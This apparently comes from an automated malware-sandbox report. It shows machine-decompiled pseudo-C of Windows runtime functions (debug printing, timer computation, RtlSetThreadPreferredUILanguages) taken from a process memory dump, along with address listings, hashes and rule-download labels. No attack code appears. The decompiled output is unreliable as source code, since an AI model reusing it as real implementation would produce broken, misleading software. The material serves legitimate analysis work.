				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x34af7a8);
				E0342D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E0342D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E0341D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E0341F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L0342DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E0341B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E0341B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E0341E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E0341A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x033db171
0x033db171
0x033db171
0x033db171
0x033db171
0x033db176
0x033db17b
0x033db180
0x033db186
0x033db18f
0x033db198
0x033db1a4
0x033db1aa
0x03434802
0x03434802
0x03434805
0x0343480c
0x0343480e
0x033db1d1
0x033db1d3
0x033db1de
0x033db1de
0x03434817
0x0343481e
0x03434820
0x03434822
0x03434822
0x03434824
0x03434824
0x0343482a
0x00000000
0x00000000
0x03434835
0x0343483a
0x0343483d
0x0343483f
0x03434842
0x03434842
0x03434842
0x03434846
0x0343484c
0x0343484e
0x03434851
0x03434851
0x03434853
0x03434854
0x03434854
0x03434858
0x0343485a
0x0343485a
0x0343485d
0x0343485f
0x03434861
0x03434861
0x03434866
0x0343486b
0x0343486e
0x03434871
0x03434876
0x03434876
0x03434878
0x0343487b
0x03434884
0x03434884
0x00000000
0x0343487d
0x0343487d
0x03434882
0x03434889
0x03434889
0x0343488f
0x03434891
0x034348e0
0x034348e2
0x034348e4
0x034348e4
0x034348e7
0x034348e7
0x034348ed
0x034348f4
0x034348f6
0x03434951
0x03434951
0x03434953
0x03434953
0x03434956
0x03434956
0x03434958
0x03434959
0x03434959
0x0343495d
0x0343495d
0x0343495f
0x0343495f
0x03434965
0x03434969
0x034349ba
0x034349ba
0x034349c1
0x034349c5
0x034349cc
0x034349d4
0x034349d7
0x034349da
0x034349e4
0x034349e5
0x034349f3
0x03434a02
0x00000000
0x03434a02
0x03434972
0x03434974
0x00000000
0x00000000
0x03434976
0x03434979
0x03434982
0x03434983
0x03434984
0x0343498b
0x0343498d
0x03434991
0x03434993
0x03434999
0x0343499d
0x034349a2
0x034349a2
0x034349a2
0x03434999
0x034349ac
0x00000000
0x034349b3
0x034348f8
0x034348fe
0x00000000
0x00000000
0x00000000
0x034348fe
0x03434895
0x0343489c
0x034348ad
0x034348b2
0x034348b5
0x034348b7
0x034348ba
0x034348bc
0x034348c6
0x034348c6
0x034348cb
0x034348d1
0x034348d4
0x034348d8
0x034348d8
0x00000000
0x034348d8
0x034348be
0x034348c0
0x00000000
0x00000000
0x034348c2
0x00000000
0x00000000
0x00000000
0x034348c4
0x00000000
0x03434882
0x0343487b
0x03434904
0x03434906
0x00000000
0x00000000
0x03434908
0x0343490e
0x00000000
0x00000000
0x03434910
0x03434917
0x03434917
0x00000000
0x03434917
0x033db1ba
0x034347f9
0x034347fc
0x00000000
0x00000000
0x00000000
0x034347fc
0x033db1c0
0x033db1c0
0x033db1c3
0x033db1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 034348AD

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: acfd84611e9c921935f05045941370ab12bbd7eae9b54609162b96ed4d715479
Instruction ID: 3cee76207f5446bea38dbb4cd63260f666b59e8b6a1c5c169090ee01c61e2447
Opcode Fuzzy Hash: acfd84611e9c921935f05045941370ab12bbd7eae9b54609162b96ed4d715479
Instruction Fuzzy Hash: 5151D079D042598EDB34CF768844BEEBBB4EF0A710F1441AED869AF381D77049458F94

Uniqueness

Uniqueness Score: -1.00%

Function 033FB944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E033FB944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x34cd360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E033F7D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E034A8CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E03419E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E0341B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E0341CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E033F7D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E034A8F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E0341AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x34c8628; // 0x0
								_v68 = _t77;
								_t78 =  *0x34c862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x34c8628; // 0x0
							_t116 =  *0x34c862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x033fb94c
0x033fb956
0x033fb95c
0x033fb95e
0x033fb964
0x033fb969
0x033fb96d
0x033fb96d
0x033fb970
0x033fb974
0x033fb97a
0x033fbadf
0x033fbadf
0x033fbae2
0x033fbae4
0x033fbae6
0x033fbaf0
0x03442cb8
0x033fbaf6
0x033fbaf6
0x033fbaf6
0x033fbafd
0x033fbb1f
0x033fbb1f
0x033fbaff
0x033fbb00
0x033fbb00
0x033fbb03
0x033fbb03
0x033fbacb
0x033fbacf
0x033fbad0
0x033fbad1
0x033fbadc
0x033fbadc
0x033fb980
0x033fb980
0x033fb988
0x033fb98b
0x033fb98d
0x033fb990
0x033fb993
0x033fb999
0x033fb99b
0x033fb9a1
0x033fb9a5
0x033fb9aa
0x033fb9b0
0x033fb9bb
0x033fb9c0
0x033fb9c3
0x033fb9ca
0x033fb9cc
0x033fb9cf
0x033fb9d3
0x033fb9d7
0x033fba94
0x033fba94
0x033fba98
0x033fbaa3
0x03442ccb
0x033fbaa9
0x033fbaa9
0x033fbaa9
0x033fbab1
0x03442cd5
0x03442cdd
0x03442cdd
0x033fbabb
0x033fbabc
0x033fbac2
0x033fbac3
0x033fbac3
0x033fbac6
0x00000000
0x033fb9dd
0x033fb9dd
0x033fb9e7
0x033fb9e7
0x033fb9ec
0x033fb9ec
0x033fb9f1
0x033fb9f5
0x033fb9fa
0x033fba00
0x033fba0c
0x033fba10
0x033fba10
0x033fba12
0x033fba18
0x00000000
0x00000000
0x033fbb26
0x033fbb26
0x033fba1e
0x033fba1e
0x033fba23
0x033fba25
0x033fba2c
0x033fba30
0x033fba35
0x033fba35
0x033fba41
0x033fba46
0x033fba4c
0x033fba50
0x033fba54
0x033fba6a
0x033fba6e
0x033fba70
0x033fba74
0x033fba78
0x033fba7a
0x033fba7c
0x033fba8e
0x033fba90
0x033fba92
0x033fbb14
0x033fbb14
0x033fbb16
0x033fbb16
0x00000000
0x033fba7c
0x033fbb0a
0x033fbb0d
0x00000000
0x00000000
0x00000000
0x033fbb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 033FB9A5

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: dfb6deb139bca979f52e608f7d60e6f608be0f7bc1fe0f6d2fae90d3c1c75f64
Instruction ID: 68f5ae4cf79e950fe154c42c4922c55543959033e19c177087f959bad7819c4b
Opcode Fuzzy Hash: dfb6deb139bca979f52e608f7d60e6f608be0f7bc1fe0f6d2fae90d3c1c75f64
Instruction Fuzzy Hash: 2F5149B1A08740CFC720DF29C4C092BFBE9FB88640F94896EE6859B754D771E840CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0340FAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0340FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E033EEEF0(0x34c7b60);
					_t134 =  *0x34c7b84; // 0x771c7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x34c7b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x34c7b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E033E6D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E033E76E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E03478938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E033DB150();
													}
													_t116 = E03476D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E033E75CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x34c8638; // 0x0
																	_t122 = L033E38A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E033E76E2(_t154);
																			goto L41;
																		}
																	} else {
																		E033E76E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L0340FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L033E70F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E0340FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E0340FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E0340FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E0340FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E0340FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x34c7b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x34c7b84 = _t75;
						_t73 = E033EEB70(_t134, 0x34c7b60);
						if( *0x34c7b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E033EFF60( *0x34c7b20);
							}
						}
						goto L5;
					}
				}
			}

0x0340fab0
0x0340fab2
0x0340fab3
0x0340fab4
0x0340fabc
0x0340fac0
0x0340fb14
0x0340fb17
0x0340fac2
0x0340fac8
0x0340facd
0x0340fad3
0x0340fad3
0x0340fadd
0x0340fb18
0x0340fb1b
0x0340fb1d
0x0340fb1e
0x0340fb1f
0x0340fb20
0x0340fb21
0x0340fb22
0x0340fb23
0x0340fb24
0x0340fb25
0x0340fb26
0x0340fb27
0x0340fb28
0x0340fb29
0x0340fb2a
0x0340fb2b
0x0340fb2c
0x0340fb2d
0x0340fb2e
0x0340fb2f
0x0340fb3a
0x0340fb3b
0x0340fb3e
0x0340fb41
0x0340fb44
0x0340fb47
0x0340fb4a
0x0340fb4d
0x0340fb53
0x0344bdcb
0x0344bdcb
0x0340fb59
0x0340fb5b
0x0340fb5b
0x0340fb5e
0x0344bdd5
0x0344bdd8
0x00000000
0x0344bdda
0x00000000
0x0344bdda
0x0340fb64
0x0340fb64
0x0340fb64
0x0340fb67
0x0340fb6e
0x0340fb70
0x0340fb72
0x00000000
0x0340fb78
0x0340fb7a
0x0340fb7a
0x0340fb7d
0x0340fb80
0x0344bddf
0x0344bde1
0x00000000
0x0344bde3
0x00000000
0x0344bde3
0x0340fb86
0x0340fb86
0x0340fb86
0x0340fb8b
0x0340fb90
0x0340fb92
0x0340fb94
0x0340fb9a
0x0340fb9b
0x0340fba1
0x0344bde8
0x0344bdeb
0x0344bded
0x0344beb5
0x0344beb5
0x0344bebb
0x0344bebd
0x0344bec3
0x0344bed2
0x0344bedd
0x0344bedd
0x0344beed
0x00000000
0x0344bdf3
0x0344bdfe
0x0344be06
0x0344be0b
0x0344be0d
0x0344be0f
0x0344be14
0x0344be19
0x0344be20
0x0344be25
0x0344be27
0x0344be35
0x0344be39
0x0344be46
0x0344be4f
0x0344be54
0x0344be56
0x0344bef8
0x0344bef8
0x00000000
0x0344be5c
0x0344be5c
0x0344be60
0x00000000
0x0344be66
0x0344be66
0x0344be7f
0x0344be84
0x0344be87
0x0344be89
0x0344be8b
0x0344be99
0x0344be9d
0x0344bea0
0x0344beac
0x0344beaf
0x0344beb1
0x0344beb3
0x0344beb3
0x00000000
0x0344bea2
0x0344bea2
0x00000000
0x0344bea2
0x0344be8d
0x0344be8d
0x0344be92
0x00000000
0x0344be92
0x0344be8b
0x0344be60
0x0344be3b
0x0344be3b
0x0344be3e
0x00000000
0x0344be40
0x0344be40
0x0344be44
0x00000000
0x00000000
0x00000000
0x00000000
0x0344be44
0x0344be3e
0x0344be29
0x0344be29
0x00000000
0x0344be29
0x0344be27
0x00000000
0x0340fba7
0x0340fba7
0x0340fbab
0x0344bf02
0x0340fbb1
0x0340fbb1
0x0340fbb8
0x0340fbbd
0x0340fbbd
0x0340fbbf
0x0340fbbf
0x0340fbc5
0x0340fbcb
0x0340fbf8
0x0340fbf8
0x0340fbfa
0x00000000
0x0340fc00
0x0340fc00
0x0340fc03
0x00000000
0x0340fc09
0x0340fc09
0x0340fc0f
0x0340fc15
0x0340fc23
0x0340fc23
0x0340fc25
0x0340fc27
0x0340fc75
0x0340fc7c
0x0340fc84
0x00000000
0x0340fc29
0x0340fc29
0x0340fc2d
0x0340fc30
